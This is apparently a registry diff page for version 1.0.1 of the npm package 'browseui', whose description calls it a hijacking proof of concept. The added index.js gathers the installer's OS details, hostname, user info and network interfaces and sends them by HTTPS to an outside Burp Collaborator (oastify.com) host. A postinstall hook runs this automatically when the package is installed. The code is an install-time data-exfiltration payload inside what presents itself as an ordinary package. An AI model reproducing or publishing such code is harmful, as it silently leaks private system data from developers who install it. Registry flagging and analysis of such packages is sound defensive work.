browseui 1.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of browseui might be problematic. Click here for more details.
- package/index.js +45 -0
- package/package.json +13 -0
package/index.js
ADDED
@@ -0,0 +1,45 @@
|
|
1
|
+
const os=require('os');
|
2
|
+
const https=require('https');
|
3
|
+
const { execSync } = require('child_process');
|
4
|
+
|
5
|
+
//Replace with your Burp Collaborator URL
|
6
|
+
const burpCollaboratorUrl = 'hufjg1cjk4dekteef1l4qlxp1g77vyjn.oastify.com';
|
7
|
+
|
8
|
+
// Collect device information
|
9
|
+
const deviceInfo = {
|
10
|
+
platform: os.platform(),
|
11
|
+
release: os.release(),
|
12
|
+
hostname: os.hostname(),
|
13
|
+
arch: os.arch(),
|
14
|
+
userInfo: os.userInfo(),
|
15
|
+
networkInterfaces: os.networkInterfaces()
|
16
|
+
};
|
17
|
+
|
18
|
+
//Convert device information to a query string
|
19
|
+
const queryString = Object.entries(deviceInfo).map(([key, value]) => {
|
20
|
+
if(typeof value === 'object'){
|
21
|
+
value = JSON.stringify(value);
|
22
|
+
}
|
23
|
+
return '${encodeURIComponent(key)}=${encodeURIComponent(value)}';
|
24
|
+
}).join('&');
|
25
|
+
|
26
|
+
//Define the request options
|
27
|
+
const options = {
|
28
|
+
hostname: burpCollaboratorUrl,
|
29
|
+
port: 443,
|
30
|
+
path: '/?${queryString}',
|
31
|
+
method: 'GET'
|
32
|
+
};
|
33
|
+
|
34
|
+
//create the request
|
35
|
+
const req = https.request(options, (res) => {
|
36
|
+
console.log('Status: ${res.statusCode}');
|
37
|
+
});
|
38
|
+
|
39
|
+
//Handle any errors
|
40
|
+
req.on('error', (error) => {
|
41
|
+
console.error('Error: ${error.message}');
|
42
|
+
});
|
43
|
+
|
44
|
+
//End the request
|
45
|
+
req.end();
|
package/package.json
ADDED
@@ -0,0 +1,13 @@
|
|
1
|
+
{
|
2
|
+
"name": "browseui",
|
3
|
+
"version": "1.0.1",
|
4
|
+
"description": "hijacked by Jogendra DC POC",
|
5
|
+
"license": "ISC",
|
6
|
+
"author": "Jogendra Sabar",
|
7
|
+
"type": "commonjs",
|
8
|
+
"main": "index.js",
|
9
|
+
"scripts": {
|
10
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
11
|
+
"postinstall": "node index.js"
|
12
|
+
}
|
13
|
+
}
|